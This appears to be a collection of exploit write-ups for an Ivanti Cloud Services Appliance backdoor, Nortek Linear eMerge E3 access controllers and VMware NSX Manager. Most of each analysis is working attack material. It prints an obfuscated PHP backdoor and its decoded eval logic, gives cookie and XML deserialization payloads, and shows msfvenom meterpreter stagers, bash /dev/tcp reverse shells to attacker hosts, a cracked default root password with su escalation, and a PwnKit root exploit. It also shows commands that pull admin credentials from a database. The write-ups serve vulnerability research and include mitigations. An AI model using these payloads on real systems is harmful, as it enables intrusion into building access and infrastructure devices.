To mitigate the issue, make a backup of the file and manually edit as follows: Remove the ten lines near the end of the file that start with “// Obscure Tokens” > but leave in the last 6 lines of code which follow which is the section that starts with “// Load user configuration”.
After some research on the Internet, i managed to lay my hands on a vulnerable virtual appliance and installed it in Virtualbox
.
After searching in the file /opt/landesk/broker/webroot/lib/csrf-magic.php
, I indeed found the vulnerable code mentioned in the security advisory (see code snippet below)
// Obscure Tokens $aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn"; $lviw = str_replace("m","","msmtmr_mrmemplmamcme"); $bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2"; $hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg"; $rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ=="; $xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce"); $murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn"); $zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();
Interesting, right? Because it clearly looks like some hidden code…
If you just copy this in a php file and run it you will soon understand that it dynamically generates a function that enables a cookie based RCE.
Note: create_function()
is deprecated in PHP 8 and above
<?php // Obscure Tokens $aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn"; $lviw = str_replace("m","","msmtmr_mrmemplmamcme"); $bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2"; $hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg"; $rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ=="; $xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce"); $murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn"); $zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); // $zmto(); $hvg= $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom)); echo "$lviw\n"; echo "$xytu\n"; echo "$murp\n"; echo "$hvg\n"; echo "$zmto\n";
Output
str_replace base64_decode create_function $c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';} lambda_1
The code line $c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}
is the one with the logic.
It uses the $_COOKIE
as the input and it checks the count of the cookie pairs which should be more then 3 and the first cookie pair value should be ab
. If these conditions match it will use the cookie pair value matching the count – 3 containing base64 PHP code , sanitizes the base64 code (remove whitespace etc) and decodes it for execution in the eval
function which natively executes PHP code. The result of the command execution can be found in the HTTP response between the tags <c123></c123>
.
Some examples of Cookie headers that will work:
Example 1 (count =4) –> payload at 2nd pair: Cookie: hello=ab; exec=<base64 php payload>; cuckoo=; clock=;
Example 2 (count =5) –> payload at 3th pair: Cookie: thisisnice=ab; skipthisone=; executethisone=<base64 php payload>; b=; c=;
Example 3 (count =6) –> payload at 4th pair: Cookie: thisisnice=ab; skipthisone=; alsoskipthisone=; executethisone=<base64 php payload>; b=; c=;
Payload should be native PHP code and base64
encoded.
The most interesting question however is, why this is added to the code? It is a left-over from testing or more likely, a backdoor to get access to the appliances?
I do know the answer, but if you check with Shodan
, you will still find more then 2000 of these appliances connected to the Internet from which around 15% still runs this vulnerable version.
Let’s play a bit with Burpsuite to see if the logic works…
Example one – system(“id”);
GET /client/index.php HTTP/1.1 Host: 192.168.100.41 Cookie: thisisnice=ab; skipthisone=; executethisone=c3lzdGVtKCJpZCIpOw==; b=; c=; User-Agent: curl/7.86.0 Accept: */* Connection: close
Output
HTTP/1.1 200 OK Set-Cookie:LDCSASESSID=ttki9kounanus8fqm19juo3am6; path=/; secure; HttpOnly Expires:Thu, 19 Nov 1981 08:52:00 GMT Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma:no-cache X-Frame-Options:sameorigin X-Content-Type-Options:nosniff Strict-Transport-Security:max-age=31536000; includeSubDomains; preload X-XSS-Protection:1; mode=block Referrer-Policy:no-referrer Content-type:text/html Content-Length:7161 Date:Sun, 08 Jan 2023 05:29:50 GMT <c123>uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0 </c123> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Ivanti® Cloud Services Appliance etc....
Example two – php meterpreter
# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.100.41 LPORT=4444 -f raw | base64
Setup a multi/handler with payload php/meterpreter/reverse_tcp
Burp request
GET /client/index.php HTTP/1.1 Host: 192.168.100.41 Cookie: thisisnice=ab; skipthisone=; alsoskipthisone=; executethisone=Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMTAwLjcnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw==; b=; c=; User-Agent: curl/7.86.0 Accept: */* Connection: close
Metasploit
msf6 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:4444 msf6 exploit(multi/handler) > [*] Sending stage (39927 bytes) to 192.168.100.41 [*] Meterpreter session 1 opened (192.168.100.7:4444 -> 192.168.100.41:59422) at 2023-01-08 10:00:10 +0000 msf6 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : localhost.localdomain OS : Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 Meterpreter : php/linux meterpreter > getuid Server username: nobody meterpreter >
The appliance has a rich set of tooling such as python
, netcat
, bash
, perl
and others installed so the attack surface is pretty broad.
One point of attention however is that the attack surface for the appliances running in the wild might be restricted because of the hardening. For instance, most of the appliances only allow in and outbound traffic on port 80 and 443 (see Hardening CSA appliance).
Additional privilege escalation
If you have established a foothold on the appliance, you can get to root
because the underlying CentOS is vulnerable to CVE-2021-4034.
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): Name Current Setting Required Description ---- --------------- -------- ----------- PKEXEC_PATH no The path to pkexec binary SESSION 1 yes The session to run this module on WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.100.7 yes The listen address (an interface may be specified) LPORT 5555 yes The listen port Exploit target: Id Name -- ---- 0 x86_64 View the full module info with the info, or info -d command. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > exploit [*] Started reverse TCP handler on 192.168.100.7:5555 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.zcbstvgmiy [+] The target is vulnerable. [*] Writing '/tmp/.shmkphpno/qwsfmu/qwsfmu.so' (548 bytes) ... [!] Verify cleanup of /tmp/.shmkphpno [*] Sending stage (3045348 bytes) to 192.168.100.41 [+] Deleted /tmp/.shmkphpno/qwsfmu/qwsfmu.so [+] Deleted /tmp/.shmkphpno/.xlfjhsej [+] Deleted /tmp/.shmkphpno [*] Meterpreter session 2 opened (192.168.100.7:5555 -> 192.168.100.41:43842) at 2023-01-08 10:25:05 +0000 meterpreter > getuid Server username: root meterpreter >
I have created a Metasploit module that has been submitted to the mainstream for production. A local version of this module can found at the References section.
Mitigation
Follow the guidance in security advisory Ivanti Security Advisory 2021-12-02.
References
Ivanti Security Advisory 2021-12-02
Packetstorm
Metasploit Development h00die-gr3y
Credits
Credits goes to the security researchers below who discovered and analyzed this vulnerability.
Technical Analysis
In my article cve-2019-7256 at attackerkb.com, I already elaborated on the security risks and vulnerabilities that still exists on the Linear eMerge E3 access controller.
Beside the RCE vulnerabilities, also default credentials exist within the vulnerable configuration that can be easily leveraged to gain privileged access to the system.
There are two significant vulnerabilities:
The first one is based on a default root password that is a stored in the /etc/passwd
and is available on the vulnerable configuration. This can be used to escalate to root privileges using the RCE vulnerability CVE-2019-7256 or use these credentials in combination with ssh
(if enabled) to get root access to the access controller.
The second credential vulnerability allows an unauthenticated malicious actor to obtain the web credentials for user admin
from the spider database that is accessible and readable for the world on the access controller. With this access, the malicious actor is able to control the Linear eMerge E3 access platform, the access to building and its cameras and the authority to manage the access rights of users.
Lets quickly demonstrate both vulnerabilities…
We assume that we have already gained access to the system using the RCE described in CVE-2019-7256
ls -l /etc/passwd -rwxr--r-- 1 e3user linear 733 Nov 13 2012 /etc/passwd cat /etc/passwd root:$1$VVtYRWvv$gyIQsOnvSv53KQwzEfZpJ0:0:100:root:/root:/bin/sh bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/home/ftp: nobody:x:99:99:Nobody:/home/default: e3user:$1$vR6H2PUd$52r03jiYrM6m5Bff03yT0/:1000:1000:Linux User,,,:/home/e3user:/bin/sh lighttpd:$1$vqbixaUx$id5O6Pnoi5/fXQzE484CP1:1001:1000:Linux User,,,:/home/lighttpd:/bin/sh
AS you can see is the default root password hash stored directly in /etc/passwd
and readable for world. Normally, these password hashes are stored in a /etc/shadow
file that is only readable for root. With this configuration, It is very easy to retrieve the hash and run a password dictionary or brute force attack with for instance hashcat
to retrieve the password. And do not worry, somebody did this job already in 2019 ;–) –> davestyle
.
To test if the root default password is available…
echo davestyle | su -c whoami root
The second credential vulnerability can be exploited by querying the spider access controller database which has the user and password information stored in clear text.
This database resides in /tmp/SpiderDB/Spider.db
and with the command below you can very easily retrieve the admin web credentials.
grep "Controller" /tmp/SpiderDB/Spider.db |cut -f 5,6 -d ',' |grep ID ID='admin',Password='xxxxxxx'
And if this is not successful, you can always try the default web credential setting admin:admin
Another Metasploit module to test the availability of the default root password and leak the admin web credentials has been submitted to the Metasploit mainstream.
Mitigation
Change the default root password on your access controller.
Update your Linear eMerge E3 access controller to a higher version then 1.00-06
.
References
Nortek Linear eMerge E3-Series 1.00-06 Multiple Vulnerabilities
Packet storm
Credits
Credits goes to the security researcher below who discovered these vulnerabilities.
Gjoko ‘LiquidWorm’ Krstic
Technical Analysis
Building Automation and Access Control systems are at the heart of many critical infrastructures, and their security is vital. Executing attacks on these systems may enable unauthenticated attackers to access and manipulate doors, elevators, air-conditioning systems, cameras, boilers, lights, safety alarm systems in an entire building – potentially causing physical damage, introducing safety risks or financial repercussions.
In one of the recent security engagements, we stumbled across a Nortek Linear eMerge E3 Access Controller managing all the building and camera access. It was exposed to the Internet for remote management on port 80 and we soon figured out that it was vulnerable.
And guess what, these vulnerabilities were already discovered in 2019 by Gjoko Krstic
a.k.a LiquidWorm
from Applied Risk. He published a paper AR2019005 that demonstrated a raft of critical vulnerabilities that exists on these Building Access Control Systems.
Nortek Security & Control, LLC (NSC)
, the manufacturer of these Access Controls Systems is a leader in wireless security, home automation and personal safety systems and devices.
They claim that the eMerge E3-Series embedded browser-based network appliance platform makes advanced security
technology reliable
and affordable for any entry-level access control application.
Well, forget the words advanced security
and reliable
because it is pretty tragic to see that the majority of these Linear eMerge E3 access controllers (around 3500 listed in Shodan
) are still vulnerable in 2022 and impose a huge security risk on the organizations using these devices for their physical and logical security.
Recently Nice
, a global manufacturer of smart home, security and building automation solutions, announced the acquisition of Nortek and let’s hope that this will improve the quality of their security products.
Now let’s demonstrate on how vulnerable this platform is and bare in mind that this platform is responsible for building and camera access and therefore a prime target for malicious actors.
Within the Linear eMerge E3 access controller, several endpoints are vulnerable to a remote command injection (RCE).
- http://HOST:PORT/card_scan_decoder.php?No=30&door=%60
<CMD>
%60
- http://HOST:PORT/card_scan.php?No=30&ReaderNo=%60
<CMD>
%60
- http://HOST:PORT/card_scan.php?No=1337&ReaderNo=%60
<CMD>
%60&CardFormatNo=1337
You can easily demonstrate this with burpsuite
crafting a request, using the sleep
command or create a test file with the command whoami > cuckoo.txt
which then can be access through the web interface.
Burp request
GET /card_scan_decoder.php?No=30&door=%60sleep+10%60 HTTP/1.1 Host: <IP HOST> User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close
Response which will take around 10 seconds…
HTTP/1.1 200 OK X-Powered-By: PHP/5.5.23 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Sat, 03 Dec 2022 04:53:22 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Content-type: text/html; charset=utf-8 Connection: close Date: Sat, 03 Dec 2022 04:53:32 GMT Server: lighttpd/1.4.22 Content-Length: 67 {"raw":false,"card_format_default":"","total_bit":null,"data":null}
Example with whoami
command
Burp request
GET /card_scan_decoder.php?No=30&door=%60whoami+>cuckoo.txt%60 HTTP/1.1 Host: <IP HOST> User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close
Get cuckoo.txt
GET /cuckoo.txt HTTP/1.1 Host: <IP HOST> User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/plain Accept-Ranges: bytes ETag: "2943015055" Last-Modified: Sat, 03 Dec 2022 05:02:15 GMT Content-Length: 9 Connection: close Date: Sat, 03 Dec 2022 05:07:06 GMT Server: lighttpd/1.4.22 lighttpd
This is already pretty interesting for malicious actors to pursue, but there is more to it.
The lighttpd
user is restricted to execute certain commands due a restricted busybox
implementation, so it is difficult to get a real reverse shell or meterpreter session established which gives full control on the server.
Well, do not worry, our Nortek friends also decided to implement a default root password on the access controller which easily can be picked from etc/password
.
Yes, you red it right, /etc/password
with read rights for the world instead of using /etc/shadow
(see my analysis on CVE-2019-7252 for more info).
This password has already been hacked in 2019 and can be used to escalate privileges and get a root shell or meterpreter session.
Let’s show a quick example how we spawn a root shell…
First generate a payload with msfvenom
# msfvenom -p cmd/unix/reverse_bash LHOST=<ATTACKER> LPORT=<PORT> -f raw [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload [-] No arch selected, selecting arch: cmd from the payload No encoder specified, outputting raw payload Payload size: 77 bytes bash -c '0<&74-;exec 74<>/dev/tcp/<ATTACKER>/<PORT>;sh <&74 >&74 2>&74'
Next step is to create the payload using the default root password davestyle
payload: echo davestyle | su -c "bash -c '0<&74-;exec 74<>/dev/tcp/<ATTACKER>/<PORT>;sh <&74 >&74 2>&74'"
Apply URL encoding to make it work in your burp request and start a multi/handler
with the reverse_bash payload , <ATTACKER>
and <PORT>
settings in msf
.
URL encode payload: %60echo+davestyle+%7C+su+-c+%22bash+-c+%270%3C%2674-%3Bexec+74%3C%3E%2Fdev%2Ftcp%2F<ATTACKER>%2F<PORT>%3Bsh+%3C%2674+%3E%2674+2%3E%2674%27%22%60
Burp request
GET /card_scan_decoder.php?No=30&door=%60echo+davestyle+%7C+su+-c+%22bash+-c+%270%3C%2674-%3Bexec+74%3C%3E%2Fdev%2Ftcp%2F<ATTACKER>%2F<PORT>%3Bsh+%3C%2674+%3E%2674+2%3E%2674%27%22%60 HTTP/1.1 Host: <IP HOST> User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close
Metasploit handler
msf6 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on <ATTACKER>:<PORT> msf6 exploit(multi/handler) > [*] Command shell session 1 opened (127.0.0.1:<PORT> -> 127.0.0.1:48944) at 2022-12-03 11:42:27 +0000 msf6 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... whoami root ls -l /etc/passwd -rwxr--r-- 1 e3user linear 733 Nov 13 2012 /etc/passwd cat /etc/passwd root:$1$VVtYRWvv$gyIQsOnvSv53KQwzEfZpJ0:0:100:root:/root:/bin/sh bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news: uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root: games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP User:/home/ftp: nobody:x:99:99:Nobody:/home/default: e3user:$1$vR6H2PUd$52r03jiYrM6m5Bff03yT0/:1000:1000:Linux User,,,:/home/e3user:/bin/sh lighttpd:$1$vqbixaUx$id5O6Pnoi5/fXQzE484CP1:1001:1000:Linux User,,,:/home/lighttpd:/bin/sh
The example above show that it is pretty simple to weaponize and therefore there is a high probability of exploitation in the wild.
I have created a Metasploit module that has been submitted to the Metasploit mainstream.
Mitigation
Please update your Linear eMerge E3 access controller to a higher version then 1.00-06
.
References
Nortek Linear eMerge E3-Series 1.00-06 Multiple Vulnerabilities
Packet storm
Metasploit module
Credits
Credits goes to the security researcher below who discovered these vulnerabilities.
Gjoko ‘LiquidWorm’ Krstic
Technical Analysis
On the 25th October 2022, security researcher Sina Kheirkhah and Steven Seeley from Source Incite discovered a remote code execution in VMware NSX Manager (NSX-V) that exploits the XStream vulnerability that was identified in August 2021.
There is an excellent writeup that can be found here: Eat What You Kill which explains this technical details of this remote code execution.
Please read the article first because I will not repeat all the good things explained in the article, but focus more on how to weaponize this exploit.
In a nut shell, XStream is a set of concise and easy-to-use open-source class libraries for marshalling Java objects into XML or unmarshalling XML into Java objects. It is a two-way converter between Java objects and XML.
In XStream <= 1.4.18
there is a de-serialization of untrusted data and is tracked as CVE-2021-39144. VMWare NSX Manager (NSX-V) uses the package xstream-1.4.18.jar
so it is vulnerable to this de-serialization vulnerability.
But this is not the only part.
To make this work Dynamic Proxies
are used.
Dynamic proxy
is a design pattern in Java which provides a proxy for a certain object, and the proxy object controls the access to the real object. These proxies are fronts or wrappers that pass function invocation through their own facilities (onto real methods) and this is being used to trigger the execution.
And the final piece is to identify an endpoint that is reachable from an unauthenticated context, where an attacker can send a specially crafted XStream marshalled payload with the dynamic proxy and trigger remote code execution in the context of root!
This unauthenticated endpoint can be found in /home/secureall/secureall/sem/WEB-INF/spring/security-config.xml
configuration and is pre-authenticated due to the use of isAnonymous
.
<http auto-config="false" use-expressions="true" entry-point-ref="authenticationEntryPoint" create-session="stateless"> <csrf disabled="true" /> <!-- ... --> <intercept-url pattern="/api/2.0/services/usermgmt/password/**" access="isAnonymous()" /> <intercept-url pattern="/api/2.0/services/usermgmt/passwordhint/**" access="isAnonymous()" /> <!-- ... --> <custom-filter position="BASIC_AUTH_FILTER" ref="basicSSOAuthNFilter"/> <custom-filter position="PRE_AUTH_FILTER" ref="preAuthFilter"/> <custom-filter after="SECURITY_CONTEXT_FILTER" ref="jwtAuthFilter"/> <custom-filter before="BASIC_AUTH_FILTER" ref="unamePasswordAuthFilter"/> </http>
So far, so good, but how do we weaponize this to achieve the remote code execution?
At first, take this XML example below to craft your malicious XML payload.
<sorted-set> <string>foo</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>PUT YOUR PAYLOAD HERE</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
Let’s take a reverse bash shell payload example: bash -i >& /dev/tcp/ATTACKER-IP/ATTACKER-PORT 0>&1
and send this with burpsuite
to the pre-authenticated endpoint of a vulnerable VMware NSX Manager. The pre-authenticated endpoint will work with any randomized string /api/2.0/services/usermgmt/password/<random string>
.
Note: please use HTML encoding for your payload inside the XML, otherwise it will NOT work.
Burp Request
PUT /api/2.0/services/usermgmt/password/blablabla HTTP/1.1 Host: 192.168.100.5 Content-Type: application/xml Content-Length: 587 <sorted-set> <string>foo</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>bash</string> <string>-c</string> <string>bash -i >& /dev/tcp/192.168.100.7/4444 0>&1</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
Start a Netcat listener on attacker host and send the burp request to the vulnerable endpoint.
You will get a bash
shell on your attacker machine.
# nc -lnvp 4444 listening on [any] 4444 ... connect to [192.168.100.7] from (UNKNOWN) [192.168.100.5] 46488 bash: cannot set terminal process group (5722): Inappropriate ioctl for device bash: no job control in this shell bash-5.0# uname -a uname -a Linux manager 4.9.297 #1 SMP Tue Feb 1 08:50:25 GMT 2022 x86_64 GNU/Linux bash-5.0# whoami whoami root bash-5.0#
Let’s take another example where we launch a meterpreter session using Metasploit
.
First create a python meterpreter payload using mfsvenom
.
# msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.100.7 LPORT=4444 -f raw [-] No platform was selected, choosing Msf::Module::Platform::Python from the payload [-] No arch selected, selecting arch: python from the payload No encoder specified, outputting raw payload Payload size: 497 bytes exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTAwLjcnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
Encode this payload with an HTML encoder. There are a lot of good HTML encoders online that you can use –> Online HTML encoder
And construct the XML payload below with burpsuite
.
PUT /api/2.0/services/usermgmt/password/cuckoo HTTP/1.1 Host: 192.168.100.5 Content-Type: application/xml Content-Length: 1055 <sorted-set> <string>foo</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>python</string> <string>-c</string> <string>exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTAwLjcnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
Start up a python meterpreter listener in Metasploit
using the multi/handler
.
msf6 > use multi/handler [*] Using configured payload python/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (python/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 0.0.0.0 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf6 exploit(multi/handler) > exploit -j -z [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:4444
Send the burp request and wait for meterpreter session to come in.
msf6 exploit(multi/handler) > [*] Sending stage (40164 bytes) to 192.168.100.5 [*] Sending stage (40168 bytes) to 192.168.100.5 [*] Meterpreter session 5 opened (192.168.100.7:4444 -> 192.168.100.5:58920) at 2022-11-06 06:47:59 +0000 msf6 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 5 meterpreter python/linux root @ manager 192.168.100.7:4444 -> 192.168.100.5:58920 (192.168.100.5) msf6 exploit(multi/handler) > sessions -i 5 [*] Starting interaction with 5... meterpreter > sysinfo Computer : manager OS : Linux 4.9.297 #1 SMP Tue Feb 1 08:50:25 GMT 2022 Architecture : x64 System Language : en_US Meterpreter : python/linux meterpreter > getuid Server username: root meterpreter >
The examples above show that it is pretty simple to weaponize and therefore there is a high probability of exploitation in the wild.
VMware Cloud Foundation 3.x
